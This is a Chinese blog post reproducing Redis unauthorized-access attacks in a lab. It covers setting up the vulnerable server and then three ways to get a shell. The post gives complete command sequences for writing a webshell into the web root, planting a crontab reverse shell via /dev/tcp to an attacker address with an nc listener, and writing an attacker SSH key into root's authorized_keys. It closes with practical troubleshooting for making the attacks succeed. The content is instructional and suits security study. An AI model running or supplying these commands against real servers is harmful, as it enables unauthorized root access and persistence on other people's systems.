Redis getshell 总结
老早就听说了redis 可以getshell,一直没尝试复现还是因为不熟redis,只知道它能用作缓存。 趁这次机会都学习一下。
这次复现,也查了很多资料,因为方法都是以前的,有些漏洞应用条件也有了不同,因为安装方式的不同getshell问题也不一样。遇到了很多问题,希望这篇博客能给后来者一点思路。
为什么redis会被getshell
redis 被getshell的主要原因是redis的无授权访问,如果redis是以root权限运行的话,非法访问者就可以通过redis向任意文件夹写文件,比如向web目录写webshell、向~/.ssh/目录写入sshkey,或者写crontab,反弹shell。
redis是一个key-value型数据库,信息以键对应值的关系存储在内存中。之所以能够通过redis任意目录写文件,是因为redis有保存备份的功能。如果我们连接上目标主机,能将备份文件目录改成任意地址,把备份文件名改成任意我们想要的,这时我们只要向redis插入一个键值对(包含我们想要写的内容),我们就成功可以实现以上所说的功能了。
当我们通过redis-cli连接上目标主机redis后,可以通过命令
config set dir /var/www/html
设置备份目录
config set dbfilename webshell.php
设置备份文件名
set key "<?php phpinfo(); ?>
设置备份的内容
save
保存
getshell的方法及条件
- 通过向Web目录写Webshell
- redis以root权限运行。
- 已知web目录绝对路径。
- 通过写SSH Key的方式进行getshell
- redis以root权限运行。
- 通过写corntab的方式进行getshell
- redis以root权限运行。
复现
一、安装redis
我一开始是以apt 安装的redis。但是后来,我发现这样安装禁锢会多很多。这些我会在后面遇到的问题中聊一聊。
sudo apt install redis-server
这种方式安装自动会运行,得杀掉进程后找到redis-server安装目录sudo ./redis-server 运行。
第二种方法
wget http://download.redis.io/releases/redis-4.0.9.tar.gz
tar -zxvf redis-4.0.9.tar.gz
cd redis-4.0.9
make
make test
make install
二、getshell方法
1、向web目录写webshell
连接目标redis:redis-cli -h 192.168.246.129 -p 6379
设置web目录:config set dir /opt/lampp/htdocs
设置备份文件名:config set dbfilename webshell.php
设置值:set key "<?php phpinfo(); ?>
写:save

2、写crontab定时任务,反弹shell。
我们知道,在linux /var/spool/cron/crontabs 目录保存着各个用户定时任务,通过redis写入定时任务就可以实现反弹shell。
连接目标redis:redis-cli -h 192.168.246.129 -p 6379
设置crontab目录:/var/spool/cron/crontabs
设置备份文件名:config set dbfilename root
在这里,我们应该设置一个类似* * * * * bash -i >& /dev/tcp/xx.xx.xx.xx/4444 0>&1
的值,然后save就好了。但是直接这样设值redis会报错,我们应该将以上内容写入一个txt文件中。
然后cat lala.txt | redis-cli -h 10.133.1.79 -p 6379 -x set key
这样设置内容。最后save一下就行了。
在自己电脑上运行nc -p 4444 -l -v
接收shell。
3、写ssh key,直接连接主机。
同理,我们可以向 ~/.ssh 中写入自己的ssh key就可以直接用ssh连接目标主机了
设置目录:config set dir /root/.ssh
设置备份文件名称 :config set dbfilename authorized_keys
设置写的内容的方法和crontab中一样,将~/.ssh/id_rsa.pub 公钥写入文本中再写入redis。 (注意写入前后都加上换行)

save 一下 ,就可以直接不需密码ssh连上主机,还能拥有root权限
复现中遇见的问题
一、安装方式不同遇见的问题。
上面我们提到,如果是使用apt安装的redis,那么就会在后面的复现getshell中会多遇到很多麻烦。一开始我也是apt安装的redis,吃了不少苦头。
首先,apt安装redis默认以redis用户权限运行,没有root权限我们无法写文件。
其次,我们杀掉进程,重新找到redis-server文件,使用sudo /etc/init.d/redis-server start
运行程序。当我们save的时候,会发现报错(error) ERR 查看日志Failed opening .rdb for saving: Read-only file system
。需要在/etc/systemd/system/redis.service
文件中加入ReadWriteDirectories=-/var/www/html
,在运行sudo systemctl daemon-reload
,这时才能成功写入。
但是apt安装的通过 sudo /usr/bin/redis-server 运行就不会有以上问题。如果是以以上下载源码编译的方式安装的,那么也没有这些问题。
二、ubuntu系统写crontab无法复现
虽然已经写入了反弹shell定时脚本,但是应该是redis写文件导致前后滞留信息影响了crontab定时脚本的执行。另一个博主也没有尝试成功,但是他在centos7中成功执行了。很有可能写crontab getshell成功的目标机系统为非ubuntu系统。
三、其他问题
还有些问题,其他人的博客也有提到
redis中使用备份数据的时候,会把以前的数据完整备份一遍,也就是说这个数据库持久化文件很可能会非常大,apache读不读的出来还是一回事儿,太大说不定直接阻塞down掉。一种方法是将全部的数据备份,再flushall,再备份导出shell,然后利用第一步的持久化文件进行恢复,这样做可能会造成一定的数据丢失,对站点造成损害,还是不推荐使用。